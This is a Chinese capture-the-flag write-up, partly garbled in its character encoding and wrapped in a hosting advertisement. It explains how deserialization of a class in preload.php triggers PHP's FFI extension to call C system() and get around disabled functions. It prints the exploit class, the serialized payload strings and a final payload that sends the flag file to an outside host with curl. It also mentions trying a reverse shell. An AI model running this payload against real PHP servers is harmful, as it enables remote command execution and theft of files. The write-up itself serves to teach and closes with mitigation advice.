打開題目,一段簡(jiǎn)單的php代碼:
創(chuàng)新互聯(lián)專業(yè)為企業(yè)提供長(zhǎng)海網(wǎng)站建設(shè)、長(zhǎng)海做網(wǎng)站、長(zhǎng)海網(wǎng)站設(shè)計(jì)、長(zhǎng)海網(wǎng)站制作等企業(yè)網(wǎng)站建設(shè)、網(wǎng)頁(yè)設(shè)計(jì)與制作、長(zhǎng)海企業(yè)網(wǎng)站模板建站服務(wù),10余年長(zhǎng)海做網(wǎng)站經(jīng)驗(yàn),不只是建網(wǎng)站,更提供有價(jià)值的思路和整體網(wǎng)絡(luò)服務(wù)。
這什么意思?直接拿shell?先用蟻劍連接看看吧。 連完之后發(fā)現(xiàn)限制了目錄,這里看到當(dāng)前目錄還有個(gè)文件preload.php。 題目代碼為:
final class A implements Serializable {
protected $data = [
'ret' =>null,
'func' =>'print_r',
'arg' =>'1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);//合并為一個(gè)數(shù)組
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
看到這其實(shí)還是挺懵的??匆幌聀hp的配置。
果然限制了訪問(wèn)目錄,同時(shí)也禁用掉了非常多的函數(shù),在此有一個(gè)非常重要的配置:
FFI擴(kuò)展FFI擴(kuò)展,自php7.4推出的新擴(kuò)展,它能夠?qū)崿F(xiàn)高級(jí)語(yǔ)言之間的互相調(diào)用。而在php里,它能夠加載動(dòng)態(tài)鏈接庫(kù),調(diào)用底層c語(yǔ)言的一些函數(shù)。與以往的傳統(tǒng)調(diào)用C語(yǔ)言庫(kù)的方式不同,它能夠直接在php腳本中調(diào)用C語(yǔ)言庫(kù)中的函數(shù)。所以說(shuō),F(xiàn)FI擴(kuò)展是危險(xiǎn)的,因?yàn)槟苤苯诱{(diào)用底層c庫(kù)中命令執(zhí)行函數(shù)可以完全繞過(guò)php層面上的限制。接下來(lái)了解一下FFI擴(kuò)展的具體應(yīng)用,直接看一個(gè)例子:
system("echo Hello World>./ttmp");
echo file_get_contents("./ttmp");
//輸出結(jié)果為Hello World
?>
FFI::cdef,創(chuàng)建一個(gè)新的FFI對(duì)象,該函數(shù)有兩個(gè)參數(shù),分別為調(diào)用c函數(shù)和加載的libc庫(kù),最后返回一個(gè)新的FFI對(duì)象。
當(dāng)?shù)诙€(gè)參數(shù)為空時(shí),它會(huì)直接從php底層源碼調(diào)用c函數(shù)。到目前為止,我們已經(jīng)了解利用FFI擴(kuò)展調(diào)用C函數(shù)的方法,接下來(lái)尋找利用條件。 ?
觸發(fā)條件如果在php配置文件中開啟了ffi.enable=preload,那么FFI中opcache.preload參數(shù)指定腳本能夠調(diào)用FFI,而用戶寫的函數(shù)是沒(méi)有辦法直接調(diào)用的。翻看phpinfo,也確實(shí)指定了preload.php能夠調(diào)用FFI。
preload.php文件中的代碼很明顯就是利用反序列化來(lái)觸發(fā)FFI擴(kuò)展的調(diào)用。在run函數(shù)有這樣一串代碼:
$this->data['ret'] = $this->data['func']($this->data['arg']);
正好符合我們的FFI擴(kuò)展函數(shù)格式。在這里引進(jìn)了php7.4以上的兩個(gè)魔術(shù)方法。
在反序列化的時(shí)候,會(huì)優(yōu)先調(diào)用__unserializeh函數(shù),從而觸發(fā)run方法,達(dá)到目的。在這里我們要注意的是,在生成序列化串的exp中,我們必須要把__serialize函數(shù)注釋掉,上面的圖說(shuō)的也比較清楚,這個(gè)函數(shù)在序列化的時(shí)候會(huì)最優(yōu)先執(zhí)行,里面的return語(yǔ)句會(huì)影響到序列化串。
注釋前:
O:1:"A":3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}
注釋后:
C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
疑難解惑到這里其實(shí)我有點(diǎn)疑惑?payload為什么會(huì)不一樣?為什么第一個(gè)達(dá)不到攻擊效果?仔細(xì)看第二個(gè)序列化串,它包裹了一串序列化數(shù)組,很明顯在序列化的時(shí)候調(diào)用了serialize函數(shù),在調(diào)試時(shí),將第二個(gè)串進(jìn)行反序列化的時(shí)候,它不會(huì)去執(zhí)行__unserialize函數(shù),反之執(zhí)行了unserialize函數(shù),當(dāng)然觸發(fā)這個(gè)函數(shù)也能調(diào)用run,沒(méi)有問(wèn)題。沒(méi)有觸發(fā)__unserialize函數(shù)的原因是因?yàn)?
public function __unserialize(array $data) {
array_merge($this->data, $data);//合并為一個(gè)數(shù)組
$this->run();
}
它只接收數(shù)組類型,而我們的序列化串很明顯就是string類型。知道了函數(shù)的調(diào)用關(guān)系,接下來(lái)說(shuō)說(shuō)第一個(gè)串為什么不行,這個(gè)串反序列化后自然是調(diào)用了__unserialize函數(shù),它有一個(gè)數(shù)組合并操作,它會(huì)覆蓋掉我們構(gòu)造的屬性,就沒(méi)什么用了。所以,回歸正題,注釋掉__serialize函數(shù)就是為了避免觸發(fā)__unserialize,造成屬性污染。
截止目前,思路已經(jīng)清晰,構(gòu)造exp生成序列化串:
null,
'func' =>'FFI::cdef',
'arg' =>'int system(char *command);'
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
echo "unserialize";
}
}
$a = new A();
echo serialize($a);
執(zhí)行流程:反序列化字符串->觸發(fā)unserialize函數(shù)->調(diào)用run方法->生成FFI擴(kuò)展對(duì)象->調(diào)用c語(yǔ)言systemn函數(shù)。
題目無(wú)回顯,利用curl外帶flag,(為啥我反彈shell不行呢?有點(diǎn)異或)最終payload為:
?a=$a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('curl -d @/flag vps:2399');
最后也是外帶出了flag。
結(jié)語(yǔ)這個(gè)FFI擴(kuò)展最初是為了能夠更方便的調(diào)用C語(yǔ)言的各種庫(kù)而設(shè)計(jì)的,然而在不正確的使用下就會(huì)像該題這樣,直接繞過(guò)php層的限制去執(zhí)行命令。當(dāng)然,個(gè)人覺(jué)得該擴(kuò)展引發(fā)的安全問(wèn)題也是比較好防護(hù)的。設(shè)置ffi.enable=preload參數(shù)選項(xiàng),指定特定的php文件去調(diào)用FFI??傊?,F(xiàn)FI擴(kuò)展引發(fā)的問(wèn)題也是需要了解的。
相關(guān)鏈接php魔術(shù)方法之__serialize、__unserialize - narwhalYel - 博客園 (cnblogs.com)
php system shell html 輸出_利用 PHP 中的 FFI 擴(kuò)展執(zhí)行命令_weixin_39871162的博客-博客
你是否還在尋找穩(wěn)定的海外服務(wù)器提供商?創(chuàng)新互聯(lián)www.cdcxhl.cn海外機(jī)房具備T級(jí)流量清洗系統(tǒng)配攻擊溯源,準(zhǔn)確流量調(diào)度確保服務(wù)器高可用性,企業(yè)級(jí)服務(wù)器適合批量采購(gòu),新人活動(dòng)首月15元起,快前往官網(wǎng)查看詳情吧